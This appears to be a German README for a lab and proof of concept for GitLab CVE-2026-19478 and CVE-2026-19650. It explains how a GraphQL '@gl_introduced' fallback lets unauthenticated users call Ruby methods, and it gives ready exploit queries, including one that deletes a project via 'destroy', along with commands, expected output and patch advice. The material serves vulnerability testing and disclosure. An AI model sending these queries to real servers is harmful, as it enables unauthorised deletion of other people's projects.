
Reproduzierbares A/B-Lab + sicheres PoC für GitLab CVE-2026-19478 / CVE-2026-19650 (GraphQL @gl_introduced)
@gl_introduced: nicht authentifizierter Aufruf beliebiger Methoden (Validierungslabor + PoC)Reproduzierbares A/B-Labor und sicherer PoC für CVE-2026-19478 (GitLab CE/EE, CVSS 9.4, Kritisch). Ein nicht authentifizierter Angreifer kann beliebige 0-Argument-Ruby-Methoden auf GraphQL-aufgelösten Domänenobjekten aufrufen — z. B.
Project#destroyaufrufen, um ein öffentliches Projekt ohne Anmeldedaten zu löschen.Enthält außerdem einen PoC für die verwandte CVE-2026-19650 (GraphQL-Multiplex-Query-Tausch), die im selben Release behoben wurde.
Nur für autorisierte Sicherheitstests / zu Bildungszwecken. Alles läuft gegen Ihre eigenen lokalen Container.
GitLab liefert eine GraphQL-Client-Direktive @gl_introduced(version: "X.Y.Z") (Vorwärtskompatibilität für
Rolling Deploys). Wenn eine Abfrage ein Feld mit einer neueren Version als der laufende Server nennt, entfernt ein Tracer
(Gitlab::Graphql::VersionFilter::IntroducedTracer) es vor der statischen Validierung, sodass die Abfrage
validiert wird. Danach führt der Server das Dokument zur Ausführung erneut aus und lässt unbekannte Felder auf einen Fallback auflösen.
Der Fehler liegt im Fallback (lib/gitlab/graphql/version_filter/future_field_fallback.rb, vor dem Patch):
def fallback_field(name:)
GraphQL::Schema::Field.new(owner: self, name: name,
type: GraphQL::Types::Boolean, fallback_value: nil) # <-- no resolver
end
Ein GraphQL::Schema::Field ohne Resolver wird von graphql-ruby aufgelöst, indem
object.public_send(field_name) aufgerufen wird (graphql-ruby lib/graphql/schema/field.rb — der
respond_to?(@method_sym) → public_send-Zweig wird ausgeführt, bevor fallback_value überhaupt berücksichtigt wird, daher
war fallback_value: nil toter Code). Unter @gl_introduced wählt der Client also einen Feldnamen,
der einer beliebigen 0-Argument-Methode auf dem aktuell aufgelösten Objekt entspricht, und der Server führt ihn aus.
Löse ein öffentliches Projekt auf, fordere ein „Zukunftsfeld“ namens destroy an → der Server führt Project#destroy aus.
AV:N/AC:L/PR:N/UI:N/C:L/I:H/A:H).Resolvers::NilResolver, der nil zurückgibt und nie eine Methode aufruft.@gl_introduced(version:) muss größer als die Serverversion sein (verwende 99.0.0).to_param, destroy).id), sonst ist das gefilterte Dokument eine leere
Auswahlmenge und GitLab gibt einen Validierungsfehler "Field must have selections" zurück.Voraussetzungen: Docker + docker compose, ~8 GB freier RAM, Python 3.
docker compose up -d # boots vulnerable :8222 and patched :8224 (GitLab takes ~3-5 min to become healthy)
./setup.sh # waits for readiness, seeds a public project + an admin token on each instance
setup.sh gibt pro Instanz aus: die Basis-URL, den Pfad des angelegten öffentlichen Projekts (root/pub) und ein Admin-PAT.
Verwendet die Methodenaufruf-Primitive mit einer harmlosen Methode (to_param). Es werden keine Daten verändert.
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222 # vulnerable -> VULNERABLE
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8224 # patched -> NOT VULNERABLE
Erwartet:
[*] mechanism check .......... @gl_introduced active (unknown field returns null, no error)
[*] method-call probe ........ { project(fullPath:"root/pub"){ id to_param @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":true}}
[!] VULNERABLE — server invoked Project#to_param via public_send (returned non-null); CVE-2026-19478 present.
bzw. auf der gepatchten Instanz:
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":null}}
[+] NOT VULNERABLE — fallback returned null (NilResolver); patched.
Erstellt über die REST-API ein eigenes öffentliches Wegwerfprojekt (benötigt das Admin-Token aus setup.sh),
löscht es dann über den nicht authentifizierten GraphQL-Angriff und bestätigt, dass das Projekt verschwunden ist.
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222 \
--prove-destroy --token <ADMIN_PAT_FROM_setup.sh> --namespace root
Erwartet (verwundbar):
[*] created throwaway public project poc-doomed-<rand> (id=42) via REST
[*] UNAUTH attack ............ { project(fullPath:"root/poc-doomed-<rand>"){ id destroy @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/42","destroy":true}}
[+] post-check (REST) ........ GET /api/v4/projects/42 -> 404 Not Found
[!] CONFIRMED — unauthenticated request DELETED the project. CVE-2026-19478 impact proven.
Auf der gepatchten Instanz meldet derselbe Lauf, dass das Projekt weiterhin 200 OK zurückgibt und destroy null ist.
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8222 # VULNERABLE (slot 0 returns slot 1's data)
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8224 # NOT VULNERABLE (slots isolated)
Richte --url auf ein GitLab, das du testen darfst, und --project auf ein öffentliches Projekt darauf:
python3 poc_cve_2026_19478.py --url https://gitlab.example.com --project some-group/some-public-project
Die Erkennung ist nicht destruktiv. Verwende --prove-destroy nicht gegen etwas, das dir nicht gehört.
Führe ein Upgrade auf 19.2.4 / 19.1.6 / 19.0.8 / 18.11.11 oder neuer durch. Der Fix leitet den Fallback über
Resolvers::NilResolver (gibt nil zurück, ruft nie eine Objektmethode auf). Wenn du nicht sofort aktualisieren kannst,
blockiere die @gl_introduced-Direktive / den Version-Filter-Pfad an einem Proxy oder schränke den nicht authentifizierten GraphQL-Zugriff ein.
| Datei | Zweck |
|---|---|
docker-compose.yml | Startet verwundbare 19.2.2-ce (:8222) + gepatchte 19.2.4-ce (:8224) |
setup.sh | Wartet auf Bereitschaft, legt öffentliches Projekt root/pub + Admin-Token pro Instanz an |
poc_cve_2026_19478.py | Erkennung (sicher) + optionaler --prove-destroy-Auswirkungsnachweis |
poc_cve_2026_19650.py | Multiplex-Query-Tausch-Erkennung (sicher) |
--prove-destroy erstellt und löscht ein eigenes Wegwerfprojekt; es berührt weder root/pub noch deine Daten.e283c6adeb3d (Fallback) und d2ea4b971a98 (Multiplex-Tausch) ab.